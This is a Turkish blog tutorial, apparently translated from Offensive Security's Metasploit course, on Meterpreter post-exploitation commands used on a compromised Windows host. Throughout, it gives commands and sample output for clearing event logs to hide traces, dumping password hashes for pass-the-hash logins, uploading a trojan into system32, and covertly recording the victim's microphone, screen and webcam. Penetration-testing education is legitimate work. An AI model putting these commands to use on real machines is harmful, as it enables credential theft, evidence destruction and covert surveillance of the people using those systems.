Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation

Metasploit serisinde öğrendikleriniz, herhangi bir zafiyetli makineye girmeniz için yeterli. Ancak makineye girdikten sonra ne yapabileceğinizi de öğrenmeniz gerekiyor. Ki en az söz konusu kullanıcı kadar hareket kabiliyetimiz var. Bu yazıda meterpreter ile karşı makinede yapabileceklerimizden bahsedeceğim. Meterpreter içerisinde birçok script bulunduran bir araç. Bu scriptler, bizim, girdiğimiz sistemde daha hızlı işlem yapmamızı sağlar. Meterpreter, sistem üzerinde çalıştığı için antivirüslere yakalanma ve iz bırakma olasılığı çok düşüktür.

Yazımı Offensive Security’den çevirdim ve büyük oranda ondan faydalanmakla beraber bazı eklemelerde bulundum. Meterpreter’in detaylarını ise farklı bir yazıda hazırlayacağım.

help

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

Linux üzerindeki daimi kurtarıcımız “help” komutu ile başlayalım. Help komutu ile meterpreter üzerindeki komutların açıklamalarını öğrenebilirsiniz. 

background & sessions

Bir makineye girdiğinizde, o makinenin meterpreter erişimini kaybetmeden çıkarak başka işlem yapmak istiyorsanız background komutunu kullanabilirsiniz. Bu komut size birden fazla makineye bağlanma ve farklı exploitler deneme gibi imkanlar tanır.

Arka plana aldığınız makineleri listelemek için sessions yazmanız yeterli. Bağlanmak istediğiniz makine için ise sessions -i <ID> yazmanız gerek.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

cat

Bu komutu kullanarak karşı makinedeki txt ve türevi dosyaların içerisini okuyabilirsiniz.Tıpkı Linux üzerinde olduğu gibi…

meterpreter > cat
Usage: cat file

//Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

cd & pwd

Dizin değiştirmek için cd komutunu, hangi dizinde olduğunuzu görmek için ise pwd komutunu kullanabilirsiniz.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Sistemde iz bırakmamak için basit bir önlem… Windows sistemlerde uygulama, sistem ve güvenlik günlüklerini temizleyecektir.

Komut öncesinde günlük:

https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_before.png

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
Komut sonrası günlük:
https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_after.png

Download

Karşı makineden dosya indirmemizi sağlar.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

Karşı makineden hangi dizine indireceğinizi belirtmek için ise aşağıdaki yöntemi izlemeniz gerekiyor.

meterpreter > download -r metin.txt /root/Desktop

[*] downloading: c:\metin.txt -> /root/Desktop/metin.txt
[*] downloaded : c:\metin.txt -> /root/Desktop/metin.txt

Edit

Metin ve türevi dosyaların üzerinde değişiklik yapmamızı sağlar. Vim aracını kullanır.
meterpreter > edit edit.txt

Execute

Karşı makinede komut çalıştırabilmemizi sağlar. Aşağıdaki örnekte bizim için cmd.exe’yi çalıştıran bir komut var. Sonrasında yazacağımız komutları cmd üzerinden devam ettirebiliriz.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Getuid

Hangi yetkilerle erişimde bulunduğumuzu belirtir. Duruma göre yetki yükseltme işlemlerine geçilir. Bunları ayrı bir yazıda anlatacağız.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Hashdump

En tatlı komutlarımızdan birisi 🙂 Sisteme ait kullanıcıların, kullanıcı adları ve hashleri elimizde. Hashleri kırmak için uğraşmanıza gerek yok. Onları kullanarak zaten sistemde o kullanıcı üzerinden giriş yapabiliyor olacağız. Ancak bu da başka bir yazının konusu.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı makinede kullanıcının ne zamandır boşta olduğunu belirten komut.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig

Windows makinede olduğunuzu varsayarsak ağ arayüzünü görüntüler. Yerel IP adresi, alt ağ maskesi ve varsayılan ağ geçidi gibi bilgileri verir. 

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >

ls

Siz meterpreter ekranı boyunca karşı makinede işlem yapıyorsunuz. Ancak kendi makinenizdeki dosyaları incelemeniz gerekirse ne yapacaksınız? Bu durumda devreye bu komutlar giriyor. lpwd ile yerel makinenizde hangi dizinde bulunduğunuzu, lcd ile ise yine yerel makinenizde hangi dizine geçmek istediğinizi belirtebilirsiniz.

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux üzerinde yaptığınız gibi, bulunduğunuz dizindeki dosyaları listelemenizi sağlar.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

ps

ps komutu ile karşı makinede çalışan processleri listeleyebilirsiniz.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

Record Mic

record_mic komutu ile karşı makinenin mikrofonundan ses kaydı alabilirsiniz. Bu bir görüşmeye de ait olabilir, o anki ortama ait kayıt da olabilir. -d parametresi ile kaç saniye kayıt alacağını belirleyebilirsiniz. Siz belirtmezseniz Ctrl+C komutuna kadar kaydetmeye devam edecektir. -f parametresi ile ise makinenizde nereye kaydedeceğinizi belirtebilirsiniz.

meterpreter > record_mic -d 30 -f root/Desktop/kayit.wav

Resource

Bu komut ile verdiğiniz kaynaktan alınan komutların arka arkaya çalışmasını sağlayabilirsiniz. Metin belgesine yazdığınız her satır bir komut olarak kabul edilecektir. Karşı makinede çalıştıracağınız komutların hızlı ve otomatize bir şekilde gerçekleşmesini sağlayabilirsiniz. Şöyle örnek verelim, aşağıdaki bizim dosyamız olsun:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

Şimdi bu dosyayı resource ile çalıştıralım. 

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

rm

Bu komut ile karşı makineden dosya silmeniz mümkün. Silinen dosyalar geri dönüşüm kutusuna veya başka yere düşmez. Tamamen kaldırılır.

meterpreter > rm dosyaismi.txt

Screenshot

Bu komut sayesinde ise makineden ekran görüntüsü almak mümkün. screenshot -h parametresi ile detayları öğrenebilirsiniz. Aşağıdaki örnekte -p parametresi, ekran görüntüsünün sizin makinenizde nereye kaydedileceğini, -q parametresi ise görüntü kalitesini belirler. Varsayılan ayar 50’dir.

meterpreter > screenshot -p /root/Desktop/screenshoot.jpeg -q 75
Screenshot saved to: /root/Desktop/screenshoot.jpeg

Search

Search komutu anlayacağınız üzere, karşı makinede dosya aramamızı sağlar. Belirli bir dosya adı arayabileceğimiz gibi, belirli bir dosya türünden olan tüm dosyaları arayabilir, aynı zamanda belirli bir dizinde arama yapabiliriz. Aşağıda kullanımına dair birkaç örneğe yer verdim.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter > search -f *.bat 
Found 1 result... 
    c:\AUTOEXEC.BAT

Shell

Yukarıda bir yerlerde cmd.exe dosyasını çalıştırmıştım gördünüz mü? Cmd.exe için onu unutabilirsiniz. Siz onu başka exe dosyalarında kullanın. cmd.exe için meterpreter ekranına shell yazmanız yeterli. Bundan sonrasında windows komutları ile devam edebilirsiniz. exit komutu ile komut penceresinden meterpretera dönebilirsiniz.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Upload

Karşı makineden dosya çekebildiğiniz gibi kendi makinenizden karşı bilgisayara dosya da gönderebilirsiniz. Belki de orada sizin çalıştırmak istediğiniz bir exe dosyası vardır. Onun için de upload komutunu kullanıyoruz.

meterpreter > upload /root/Desktop/evil_trojan.exe c:\\windows\\system32
[*] uploading  : /root/Desktop/evil_trojan.exe -> c:\windows\system32
[*] uploaded   : /root/Desktop/evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

Webcam

Eğlenceli komutlardan birisi olan webcam ile karşı makinenin kamerasından anlık fotoğraf alabilir, video kaydedebilirsiniz. Peki birden fazla kamera varsa? O zaman hangisinden isterseniz ondan kayıt alırsınız.

webcam_list: Hedef makinede bulunan webcamleri listeler.

webcam_chat: Karşılıklı bir görüntülü konuşma başlatabilirsiniz.

webcam_stream: Bu komutla karşı makineden kamera kaydı alırsınız. Tarayıcınızda açılan sayfa üzerinden takip edebilirsiniz ve -t parametresi ile görüntüleri nereye kaydetmek istediğinizi belirtebilirsiniz.

webcam_snap: Karşı makinenin kamerasından anlık fotoğraf çeker. Aşağıda bir örnek var. Bu örnekteki -i parametresi kamera ID’si oluyor:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

Ufak bir not: Kapaktaki çocuk muhtemelen ilginizi çekti. Çok da alay etmeyin isterseniz. Kendileri akıllı oyuncakları dinleme cihazına dönüştüren 12 yaşında bir çocuk. https://www.cbsnews.com/news/reuben-paul-12-year-old-cyber-ninja-cyber-security/

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

This site uses Akismet to reduce spam. Learn how your comment data is processed.